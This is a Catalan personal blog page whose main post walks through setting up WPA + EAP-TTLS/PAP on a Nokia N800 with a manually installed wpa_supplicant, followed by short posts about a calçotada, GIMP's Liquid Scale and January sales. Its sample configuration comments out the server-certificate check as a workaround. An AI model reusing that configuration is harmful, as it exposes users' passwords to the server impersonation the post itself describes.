Degut a que el protocol WEP (Wired Equivalent Privacy) s'ha demostrat completament insegur, la tendència actual en el mon de les comunicacions sense fils es fer servir protocol WPA (Wifi Protected Access). Aquest protocol és mes segur per definició que el WEP, pero encara té deficiències com la no encriptació del canal de comunicació o la no autenticació de la identitat del servidor de claus. Aquestes dues vulnerabilitats permetrien a un usuari maliciòs capturar el trafic de la xarxa sense fils o inclùs suplantar el servidor de claus per obtenir les claus dels usuaris. Per aquest motiu moltes empreses fan servir EAP (Extensible Authentication Protocol) que permet combinar la seguretat de les claus WPA amb altres mètodes d'autenticació. A la meva feina vem decidir muntar un sistema sense fils basat en WPA + EAP-TTLS (Tunneled Transport Layer Security) per solucionar les dues vulnerabilitats que he mencionat abans, i amb autenticació PAP ja que es la mes compatible amb un sistema de claus basat en linux.
Un cop explicat tot això, tornem al tema que ens ocupa. Nokia fa poc que ha llençat al mercat el seu tercer internet tablet, a més amb sistema operatiu nou (OS2008), amb suport EAP-TTLS/MSCHAPv2 (autenticació basada en claus windows), pero NO funciona amb EAP-TTLS/PAP que és un dels esquemes mes estesos de seguretat sense fils.
Per sort el mon del programari lliure te una comunitat que s'ho curra per a solucionar problemes com aquest, i després de molt buscar vaig trobar una possible sol·lució:
Partim de que si Nokia no dona suport per aquest protocol ha d'haver-hi un altre programa que el dongui. A Linux es fa servir WPA_SUPPLICANT que es programari lliure i per tant tenim el seu codi font. Ara ens cal compilar-lo per a OS2008 i que funcioni. Com que de compilar no en tinc ni idea, vaig recorrer a internet i vaig trobar algú que ho havia fet (enllaç).
Primer vaig instal·lar el WPA_SUPPLICANT i el paquet WIRELESS-TOOLS que pots trobar aqui. Nomès son els binaris empaquetats amb tar i comprimits amb bzip2, aixi que els vaig desempaquetar i els vaig copiar directament al /usr/bin.
Abans de provar si l'invent funcionava em vaig assabentar de que era necessari crear un dummyAP. Aquesta connexió falsa, fa creure als programes que s'està fent servir l'administració de connexions estandard i d'aquesta manera no donen problemes. Be, doncs el vaig crear i em vaig connectar a la connexió DEFAULT corresponent al dummyAP.
Ara ens queda crear el fitxer de configuració del WPA_SUPPLICANT al que direm wpa_supplicant.conf:
eapol_version=1
ap_scan=1
fast_reauth=1
network={
ssid="SSID"
scan_ssid=1
proto=WPA
key_mgmt=WPA-EAP
pairwise=TKIP
group=TKIP
eap=TTLS
#ca_cert="/etc/certs/certificat.pem"
anonymous_identity="anonymous"
phase2="auth=PAP"
identity="username"
password="secret"
}
Com podeu veure la linia que comprova el certificat del servidor està comentada, en el meu cas em donava alguns errors en cridar la comprovació del certificat, crec que es degut al tipus de certificat que faix servir, en altres casos pot funcionar amb la linia sense comentar.
Aqui es on acaben els preparatius i comença el test (tot ho farem com a superusuari):
1.-Fem neteja de configuracions wifi que poguem tindre penjades:
# ifconfig wlan0 down
# ifconfig wlan0 up
2.-Autentiquem amb WPA_SUPPLICANT:
# wpa_supplicant -c wpa_supplicant.conf -i wlan0 &
3.-Reclamem una adreça IP al servidor DHCP:
# udhcpc -i wlan0
En aquest moment hauriem de tindre la nostra connexió EAP-TTLS/PAP funcionant. La meva experiència es que aconsegueixo autenticar i rebo del servidor RADIUS el tant desitjat ACCESS-ACCEPT que ens permet connectar a la xarxa sense fils, pero tinc problemes per rebre IP del servidor DHCP. A més les vegades que he aconseguit connectar he tingut alguns problemes per mantindre la connexió i del handover entre estacions millor no en parlem.
En conclusió, crec que el tema encara està una mica verd. Crec que s'ha de fer un port en condicions del WPA_SUPPLICANT, o millor encara mostrar a Nokia que el PAP existeix i que el fa servir moltisima gent per a que ho incorporin en futures versions del firmware.
Per als que estigueu perduts, us faig un resum ràpid:
Degut a que el protocol WEP (Wired Equivalent Privacy) s'ha demostrat completament insegur, la tendència actual en el mon de les comunicacions sense fils es fer servir protocol WPA (Wifi Protected Access). Aquest protocol és mes segur per definició que el WEP, pero encara té deficiències com la no encriptació del canal de comunicació o la no autenticació de la identitat del servidor de claus. Aquestes dues vulnerabilitats permetrien a un usuari maliciòs capturar el trafic de la xarxa sense fils o inclùs suplantar el servidor de claus per obtenir les claus dels usuaris. Per aquest motiu moltes empreses fan servir EAP (Extensible Authentication Protocol) que permet combinar la seguretat de les claus WPA amb altres mètodes d'autenticació. A la meva feina vem decidir muntar un sistema sense fils basat en WPA + EAP-TTLS (Tunneled Transport Layer Security) per solucionar les dues vulnerabilitats que he mencionat abans, i amb autenticació PAP ja que es la mes compatible amb un sistema de claus basat en linux.
Un cop explicat tot això, tornem al tema que ens ocupa. Nokia fa poc que ha llençat al mercat el seu tercer internet tablet, a més amb sistema operatiu nou (OS2008), amb suport EAP-TTLS/MSCHAPv2 (autenticació basada en claus windows), pero NO funciona amb EAP-TTLS/PAP que és un dels esquemes mes estesos de seguretat sense fils.
Per sort el mon del programari lliure te una comunitat que s'ho curra per a solucionar problemes com aquest, i després de molt buscar vaig trobar una possible sol·lució:
Partim de que si Nokia no dona suport per aquest protocol ha d'haver-hi un altre programa que el dongui. A Linux es fa servir WPA_SUPPLICANT que es programari lliure i per tant tenim el seu codi font. Ara ens cal compilar-lo per a OS2008 i que funcioni. Com que de compilar no en tinc ni idea, vaig recorrer a internet i vaig trobar algú que ho havia fet (enllaç).
Primer vaig instal·lar el WPA_SUPPLICANT i el paquet WIRELESS-TOOLS que pots trobar aqui. Nomès son els binaris empaquetats amb tar i comprimits amb bzip2, aixi que els vaig desempaquetar i els vaig copiar directament al /usr/bin.
Abans de provar si l'invent funcionava em vaig assabentar de que era necessari crear un dummyAP. Aquesta connexió falsa, fa creure als programes que s'està fent servir l'administració de connexions estandard i d'aquesta manera no donen problemes. Be, doncs el vaig crear i em vaig connectar a la connexió DEFAULT corresponent al dummyAP.
Ara ens queda crear el fitxer de configuració del WPA_SUPPLICANT al que direm wpa_supplicant.conf:
eapol_version=1
ap_scan=1
fast_reauth=1
network={
ssid="SSID"
scan_ssid=1
proto=WPA
key_mgmt=WPA-EAP
pairwise=TKIP
group=TKIP
eap=TTLS
#ca_cert="/etc/certs/certificat.pem"
anonymous_identity="anonymous"
phase2="auth=PAP"
identity="username"
password="secret"
}
Com podeu veure la linia que comprova el certificat del servidor està comentada, en el meu cas em donava alguns errors en cridar la comprovació del certificat, crec que es degut al tipus de certificat que faix servir, en altres casos pot funcionar amb la linia sense comentar.
Aqui es on acaben els preparatius i comença el test (tot ho farem com a superusuari):
1.-Fem neteja de configuracions wifi que poguem tindre penjades:
# ifconfig wlan0 down
# ifconfig wlan0 up
2.-Autentiquem amb WPA_SUPPLICANT:
# wpa_supplicant -c wpa_supplicant.conf -i wlan0 &
3.-Reclamem una adreça IP al servidor DHCP:
# udhcpc -i wlan0
En aquest moment hauriem de tindre la nostra connexió EAP-TTLS/PAP funcionant. La meva experiència es que aconsegueixo autenticar i rebo del servidor RADIUS el tant desitjat ACCESS-ACCEPT que ens permet connectar a la xarxa sense fils, pero tinc problemes per rebre IP del servidor DHCP. A més les vegades que he aconseguit connectar he tingut alguns problemes per mantindre la connexió i del handover entre estacions millor no en parlem.
En conclusió, crec que el tema encara està una mica verd. Crec que s'ha de fer un port en condicions del WPA_SUPPLICANT, o millor encara mostrar a Nokia que el PAP existeix i que el fa servir moltisima gent per a que ho incorporin en futures versions del firmware.
Etiquetes de comentaris:
dummyAP,
eap-ttls,
freeradius,
N800,
OS2008,
pap,
wireless-tools,
wpa_supplicant
Calçotada :D
Com toca per aquestes dates dissabte passat vam organitzar una calçotada, aquest any es feia a casa meva. D'una llista de 15 convidats, entre refredats i compromisos es van presentar 8 mes un servidor que ja estava a casa preparant la logística de la llar de foc (bàsicament improvisant una parrilla).
A mig matí el Jordi i la Eli van aparèixer am 7 llitres de vi, i en vistes de que la gent no arribava, ens vem decidir a fer les compres de materia prima. Despres de visitar un parell de carnisseries i la verduleria del poble aconseguim 150 calçots (els va portar el pagès per nosaltres), un quart de xai i unes quantes butifarres.
En arribar a casa, ens estaven esperant amb butifarres caseres i una escarola. Després de les salutacions pertinents ens vem possar a preparar la teca. Passat el transitori inicial de trobar-li el punt als calçots i a la parrilla, es va assolir un mètode òptim de preparació. En acabar ens els vem cruspir gairebé tots reservant un forat per la carn que encara haviem de cuinar. De carn va quedar molt poca, i es que tot estava bonissim!!
Aqui us deixo una mostra de com va anar tot:


A mig matí el Jordi i la Eli van aparèixer am 7 llitres de vi, i en vistes de que la gent no arribava, ens vem decidir a fer les compres de materia prima. Despres de visitar un parell de carnisseries i la verduleria del poble aconseguim 150 calçots (els va portar el pagès per nosaltres), un quart de xai i unes quantes butifarres.
En arribar a casa, ens estaven esperant amb butifarres caseres i una escarola. Després de les salutacions pertinents ens vem possar a preparar la teca. Passat el transitori inicial de trobar-li el punt als calçots i a la parrilla, es va assolir un mètode òptim de preparació. En acabar ens els vem cruspir gairebé tots reservant un forat per la carn que encara haviem de cuinar. De carn va quedar molt poca, i es que tot estava bonissim!!
Aqui us deixo una mostra de com va anar tot:
dimarts, 19 de febrer del 2008
Fotografies amb GIMP i Liquid Scale
Fa temps que conec el filtre Liquid Scale i les seves capacitats (Resumint és un redimensionat d'imatge sense perdua de contingut/informació), però no m'hi havia parat a jugar gaire. Buscant la web oficial a google m'he trobat aquesta plana web que ens pot donar una idea ràpida del que s'hi pot fer, i com que suposo que en breu publicarem alguna coseta sobre l'anterior cap de setmana incloent alguna fotografia m'ha semblat un bon moment per fer-ne referència.
Com a curiositat històrica, el filtre és fruit de l'investigació publicada lliure per dos investigadors, el filtre també està disponible per l'omnipresent Photoshop, amb la salvetat de ser de pagament (Si mal no recordo) i que va sortir abans per GIMP 2.4.
Com a curiositat històrica, el filtre és fruit de l'investigació publicada lliure per dos investigadors, el filtre també està disponible per l'omnipresent Photoshop, amb la salvetat de ser de pagament (Si mal no recordo) i que va sortir abans per GIMP 2.4.
dilluns, 28 de gener del 2008
Rebaixes!!
Vem aprofitar el Diumenge dia 13, que era el primer diumenge de rebaixes i estava quasi tot obert, per fer el "ritual" de quedar amb les amigues i donar un cop d'ull al que hi havia a les botigues del Portal de l'Àngel.
La veritat és que estava ple de gent, passejant i remenant el que hi havia a les tendes. Ens vem trobar amb que hi havia molta cosa de nova temporada (i per tant no estava rebaixada), alguna cosa d'aquesta temporada amb descomptes del 10-20% que em sembla molt poc i peces de temporades anteriors (manigua curta, restes d'edicions) amb un descompte més acceptable com el 50%. O sigui que poc estalvi podies fer, potser més endavant, però em sembla que el que esperen les tendes es cridar-te l'atenció per a que entris dintre i acabis comprant de capritx coses de la nova temporada o amb poc descompte.
Vaig fer unes quantes fotos per il·lustrar tot l'acte.
La veritat és que estava ple de gent, passejant i remenant el que hi havia a les tendes. Ens vem trobar amb que hi havia molta cosa de nova temporada (i per tant no estava rebaixada), alguna cosa d'aquesta temporada amb descomptes del 10-20% que em sembla molt poc i peces de temporades anteriors (manigua curta, restes d'edicions) amb un descompte més acceptable com el 50%. O sigui que poc estalvi podies fer, potser més endavant, però em sembla que el que esperen les tendes es cridar-te l'atenció per a que entris dintre i acabis comprant de capritx coses de la nova temporada o amb poc descompte.
Vaig fer unes quantes fotos per il·lustrar tot l'acte.
Subscriure's a:
Missatges (Atom)


